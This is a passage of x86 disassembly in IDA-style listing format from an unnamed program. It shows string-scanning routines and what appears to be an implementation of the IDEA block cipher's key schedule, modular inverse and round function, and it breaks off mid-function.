loc_4D20BF:				; CODE XREF: sub_4D1CC4+421j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_4D20E7
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4D20E7
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D20E7
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D20BF
; ---------------------------------------------------------------------------


loc_4D20E7:				; CODE XREF: sub_4D1CC4+402j
					; sub_4D1CC4+40Dj ...
		mov	eax, [ebp+var_38]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_10]
		dec	eax
		push	eax
		push	[ebp+var_3C]
		push	[ebp+arg_C]
		call	sub_4CC770
		add	esp, 0Ch
		mov	eax, [ebp+arg_C]
		add	eax, [ebp+arg_10]
		and	byte ptr [eax-1], 0
		mov	edi, [ebp+arg_C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_44], ecx
		jmp	short loc_4D2189
; ---------------------------------------------------------------------------


loc_4D211C:				; CODE XREF: sub_4D1CC4+3EBj
					; sub_4D1CC4+3F3j ...
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_4D2144
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4D2144
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D2144
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D211C
; ---------------------------------------------------------------------------


loc_4D2144:				; CODE XREF: sub_4D1CC4+45Fj
					; sub_4D1CC4+46Aj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_4D1DB9
; ---------------------------------------------------------------------------


loc_4D214F:				; CODE XREF: sub_4D1CC4:loc_4D209Cj
		jmp	short loc_4D2184
; ---------------------------------------------------------------------------


loc_4D2151:				; CODE XREF: sub_4D1CC4+23Bj
					; sub_4D1CC4+4B3j
		mov	eax, [ebp+var_20]
		dec	eax
		cmp	[ebp+var_38], eax
		jz	short loc_4D2179
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_4D2179
		mov	eax, [ebp+var_38]
		movzx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_4D2179
		mov	eax, [ebp+var_38]
		inc	eax
		mov	[ebp+var_38], eax
		jmp	short loc_4D2151
; ---------------------------------------------------------------------------


loc_4D2179:				; CODE XREF: sub_4D1CC4+494j
					; sub_4D1CC4+49Fj ...
		mov	eax, [ebp+var_38]
		mov	[ebp+var_3C], eax
		jmp	loc_4D1DB9
; ---------------------------------------------------------------------------


loc_4D2184:				; CODE XREF: sub_4D1CC4+14Dj
					; sub_4D1CC4:loc_4D1EBAj ...
		jmp	loc_4D1DA6
; ---------------------------------------------------------------------------


loc_4D2189:				; CODE XREF: sub_4D1CC4+EFj
					; sub_4D1CC4+12Fj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4D2194
		jmp	short loc_4D21B6
sub_4D1CC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4D2194	proc near		; CODE XREF: sub_4D1CC4+4C9p
					; DATA XREF: _5:004DE400o
		mov	eax, [ebp-34h]
		mov	[ebp-68h], eax
		push	dword ptr [ebp-68h]
		call	sub_4D83DD
		pop	ecx
		cmp	dword ptr [ebp-2Ch], 0FFFFFFFFh
		jz	short locret_4D21B5
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [ebp-2Ch]
		call	sub_4D0741

locret_4D21B5:				; CODE XREF: sub_4D2194+13j
		retn
sub_4D2194	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4D1CC4


loc_4D21B6:				; CODE XREF: sub_4D1CC4+4CEj
		mov	eax, [ebp+var_44]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4D1CC4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		mov	ecx, [ebp-4]
		call	sub_4D21F3
		mov	eax, [ebp-4]
		add	eax, 68h
		push	eax
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-4]
		call	sub_4D229B
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D21F3	proc near		; CODE XREF: _4:004D21D8p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], ecx
		and	[ebp+var_8], 0
		jmp	short loc_4D2209
; ---------------------------------------------------------------------------


loc_4D2202:				; CODE XREF: sub_4D21F3+40j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4D2209:				; CODE XREF: sub_4D21F3+Dj
		cmp	[ebp+var_8], 8
		jge	short loc_4D2235
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		movzx	ecx, byte ptr [ecx+1]
		add	eax, ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		jmp	short loc_4D2202
; ---------------------------------------------------------------------------


loc_4D2235:				; CODE XREF: sub_4D21F3+1Aj
		and	[ebp+var_4], 0
		jmp	short loc_4D2242
; ---------------------------------------------------------------------------


loc_4D223B:				; CODE XREF: sub_4D21F3+A2j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_4D2242:				; CODE XREF: sub_4D21F3+46j
		cmp	[ebp+var_8], 34h
		jge	short locret_4D2297
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	ecx, [ebp+arg_4]
		movzx	eax, word ptr [ecx+eax*2]
		shl	eax, 9
		mov	ecx, [ebp+var_4]
		inc	ecx
		and	ecx, 7
		mov	edx, [ebp+arg_4]
		movzx	ecx, word ptr [edx+ecx*2]
		sar	ecx, 7
		or	eax, ecx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		mov	[edx+ecx*2+0Eh], ax
		mov	eax, [ebp+var_4]
		and	eax, 8
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax*2]
		mov	[ebp+arg_4], eax
		mov	eax, [ebp+var_4]
		and	eax, 7
		mov	[ebp+var_4], eax
		jmp	short loc_4D223B
; ---------------------------------------------------------------------------

locret_4D2297:				; CODE XREF: sub_4D21F3+53j
		leave
		retn	8
sub_4D21F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D229B	proc near		; CODE XREF: _4:004D21EAp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= word ptr -7Ch
var_78		= dword	ptr -78h
var_74		= word ptr -74h
var_70		= word ptr -70h
var_6C		= word ptr -6Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	esi
		push	edi
		mov	[ebp+var_80], ecx
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_84], ax
		push	[ebp+var_84]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_88], ax
		push	[ebp+var_88]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		and	[ebp+var_78], 0
		jmp	short loc_4D2372
; ---------------------------------------------------------------------------


loc_4D236B:				; CODE XREF: sub_4D229B+1D7j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax


loc_4D2372:				; CODE XREF: sub_4D229B+CEj
		cmp	[ebp+var_78], 7
		jge	loc_4D2477
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_8C], ax
		push	[ebp+var_8C]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_90], ax
		push	[ebp+var_90]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		jmp	loc_4D236B
; ---------------------------------------------------------------------------


loc_4D2477:				; CODE XREF: sub_4D229B+DBj
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	cx, [ecx]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_94], ax
		push	[ebp+var_94]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	[ebp+var_70], ax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_74], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		neg	eax
		mov	[ebp+var_7C], ax
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_0]
		mov	ax, [eax]
		mov	word ptr [ebp+var_98], ax
		push	[ebp+var_98]
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_80]
		call	sub_4D259C
		mov	ecx, [ebp+var_4]
		dec	ecx
		dec	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx], ax
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_7C]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_74]
		mov	[eax], cx
		mov	eax, [ebp+var_4]
		dec	eax
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	cx, [ebp+var_70]
		mov	[eax], cx
		push	1Ah
		pop	ecx
		lea	esi, [ebp+var_6C]
		mov	edi, [ebp+arg_4]
		rep movsd
		and	[ebp+var_78], 0
		jmp	short loc_4D2585
; ---------------------------------------------------------------------------


loc_4D257E:				; CODE XREF: sub_4D229B+2F9j
		mov	eax, [ebp+var_78]
		inc	eax
		mov	[ebp+var_78], eax


loc_4D2585:				; CODE XREF: sub_4D229B+2E1j
		cmp	[ebp+var_78], 34h
		jge	short loc_4D2596
		mov	eax, [ebp+var_78]
		and	[ebp+eax*2+var_6C], 0
		jmp	short loc_4D257E
; ---------------------------------------------------------------------------


loc_4D2596:				; CODE XREF: sub_4D229B+2EEj
		pop	edi
		pop	esi
		leave
		retn	8
sub_4D229B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D259C	proc near		; CODE XREF: sub_4D229B+32p
					; sub_4D229B+81p ...

var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jg	short loc_4D25B7
		mov	ax, [ebp+arg_0]
		jmp	locret_4D268F
; ---------------------------------------------------------------------------


loc_4D25B7:				; CODE XREF: sub_4D259C+10j
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_C], ax
		movzx	ecx, [ebp+arg_0]
		mov	eax, 10001h
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_4D25F7
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx
		jmp	locret_4D268F
; ---------------------------------------------------------------------------


loc_4D25F7:				; CODE XREF: sub_4D259C+42j
		mov	[ebp+var_8], 1


loc_4D25FD:				; CODE XREF: sub_4D259C+DFj
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+arg_0]
		movzx	ecx, [ebp+var_10]
		cdq
		idiv	ecx
		mov	[ebp+arg_0], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_C]
		imul	eax, ecx
		mov	cx, [ebp+var_8]
		add	cx, ax
		mov	[ebp+var_8], cx
		movzx	eax, [ebp+arg_0]
		cmp	eax, 1
		jnz	short loc_4D2640
		mov	ax, [ebp+var_8]
		jmp	short locret_4D268F
; ---------------------------------------------------------------------------


loc_4D2640:				; CODE XREF: sub_4D259C+9Cj
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_4], ax
		movzx	eax, [ebp+var_10]
		movzx	ecx, [ebp+arg_0]
		cdq
		idiv	ecx
		mov	[ebp+var_10], dx
		movzx	eax, [ebp+var_4]
		movzx	ecx, [ebp+var_8]
		imul	eax, ecx
		mov	cx, [ebp+var_C]
		add	cx, ax
		mov	[ebp+var_C], cx
		movzx	eax, [ebp+var_10]
		cmp	eax, 1
		jnz	short loc_4D25FD
		movzx	eax, [ebp+var_C]
		push	1
		pop	ecx
		sub	ecx, eax
		and	ecx, 0FFFFh
		mov	ax, cx

locret_4D268F:				; CODE XREF: sub_4D259C+16j
					; sub_4D259C+56j ...
		leave
		retn	4
sub_4D259C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp+8]
		mov	[ebp-4], eax
		and	dword ptr [ebp-8], 0
		jmp	short loc_4D26AF
; ---------------------------------------------------------------------------


loc_4D26A8:				; CODE XREF: _4:004D26D1j
		mov	eax, [ebp-8]
		inc	eax
		mov	[ebp-8], eax


loc_4D26AF:				; CODE XREF: _4:004D26A6j
		mov	eax, [ebp-8]
		cmp	eax, [ebp+0Ch]
		jge	short locret_4D26D3
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-4]
		mov	ecx, [ebp-0Ch]
		call	sub_4D26D7
		mov	eax, [ebp-4]
		add	eax, 8
		mov	[ebp-4], eax
		jmp	short loc_4D26A8
; ---------------------------------------------------------------------------

locret_4D26D3:				; CODE XREF: _4:004D26B5j
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4D26D7	proc near		; CODE XREF: _4:004D26C3p _4:004D2D36p

var_48		= word ptr -48h
var_46		= word ptr -46h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_28		= word ptr -28h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= word ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		mov	[ebp+var_30], ecx
		mov	[ebp+var_4], 8
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_18]
		inc	eax
		inc	eax
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_18]
		mov	ax, [eax]
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_1C]
		sar	eax, 8
		movzx	ecx, [ebp+var_1C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_20]
		sar	eax, 8
		movzx	ecx, [ebp+var_20]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_28]
		sar	eax, 8
		movzx	ecx, [ebp+var_28]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_2C]
		sar	eax, 8
		movzx	ecx, [ebp+var_2C]
		shl	ecx, 8
		or	eax, ecx
		mov	[ebp+var_2C], ax


loc_4D277E:				; CODE XREF: sub_4D26D7+41Ej
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4D281D
		movzx	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		movzx	eax, [ebp+var_1C]
		test	eax, eax
		jz	short loc_4D27FE
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_1C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_1C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_1C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax
		jmp	short loc_4D2813
; ---------------------------------------------------------------------------


loc_4D27FE:				; CODE XREF: sub_4D26D7+D8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_32], ax


loc_4D2813:				; CODE XREF: sub_4D26D7+125j
		mov	ax, [ebp+var_32]
		mov	[ebp+var_34], ax
		jmp	short loc_4D2832
; ---------------------------------------------------------------------------


loc_4D281D:				; CODE XREF: sub_4D26D7+BFj
		movzx	eax, [ebp+var_1C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_1C], cx
		mov	ax, [ebp+var_1C]
		mov	[ebp+var_34], ax


loc_4D2832:				; CODE XREF: sub_4D26D7+144j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_20]
		add	cx, [eax]
		mov	[ebp+var_20], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_28]
		add	cx, [eax]
		mov	[ebp+var_28], cx
		mov	eax, [ebp+arg_8]
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4D28FD
		movzx	eax, [ebp+var_2C]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		movzx	eax, [ebp+var_2C]
		test	eax, eax
		jz	short loc_4D28DE
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_2C], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_2C]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_2C]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_2C], ax
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax
		jmp	short loc_4D28F3
; ---------------------------------------------------------------------------


loc_4D28DE:				; CODE XREF: sub_4D26D7+1B8j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_36], ax


loc_4D28F3:				; CODE XREF: sub_4D26D7+205j
		mov	ax, [ebp+var_36]
		mov	[ebp+var_38], ax
		jmp	short loc_4D2912
; ---------------------------------------------------------------------------


loc_4D28FD:				; CODE XREF: sub_4D26D7+19Fj
		movzx	eax, [ebp+var_2C]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_2C], cx
		mov	ax, [ebp+var_2C]
		mov	[ebp+var_38], ax


loc_4D2912:				; CODE XREF: sub_4D26D7+224j
		mov	ax, [ebp+var_28]
		mov	[ebp+var_14], ax
		mov	ax, [ebp+var_28]
		xor	ax, [ebp+var_1C]
		mov	[ebp+var_28], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4D29C5
		movzx	eax, [ebp+var_28]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		movzx	eax, [ebp+var_28]
		test	eax, eax
		jz	short loc_4D29A6
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_28], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_28]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_28]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_28], ax
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax
		jmp	short loc_4D29BB
; ---------------------------------------------------------------------------


loc_4D29A6:				; CODE XREF: sub_4D26D7+280j
		movzx	eax, [ebp+var_10]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3A], ax


loc_4D29BB:				; CODE XREF: sub_4D26D7+2CDj
		mov	ax, [ebp+var_3A]
		mov	[ebp+var_3C], ax
		jmp	short loc_4D29DA
; ---------------------------------------------------------------------------


loc_4D29C5:				; CODE XREF: sub_4D26D7+267j
		movzx	eax, [ebp+var_28]
		push	1
		pop	ecx
		sub	ecx, eax
		mov	[ebp+var_28], cx
		mov	ax, [ebp+var_28]
		mov	[ebp+var_3C], ax


loc_4D29DA:				; CODE XREF: sub_4D26D7+2ECj
		mov	ax, [ebp+var_20]
		mov	[ebp+var_C], ax
		mov	ax, [ebp+var_20]
		xor	ax, [ebp+var_2C]
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_20]
		add	ax, [ebp+var_28]
		mov	[ebp+var_20], ax
		mov	eax, [ebp+arg_8]
		mov	ax, [eax]
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_8]
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	loc_4D2A99
		movzx	eax, [ebp+var_20]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		movzx	eax, [ebp+var_20]
		test	eax, eax
		jz	short loc_4D2A7A
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		imul	eax, ecx
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	[ebp+var_20], ax
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	[ebp+var_10], ax
		movzx	eax, [ebp+var_20]
		movzx	ecx, [ebp+var_10]
		sub	eax, ecx
		movzx	ecx, [ebp+var_20]
		movzx	edx, [ebp+var_10]
		xor	ebx, ebx
		cmp	ecx, edx
		setl	bl
		add	eax, ebx
		mov	[ebp+var_20], ax
		mov	ax, [ebp+var_20]
		mov	[ebp+var_3E], ax
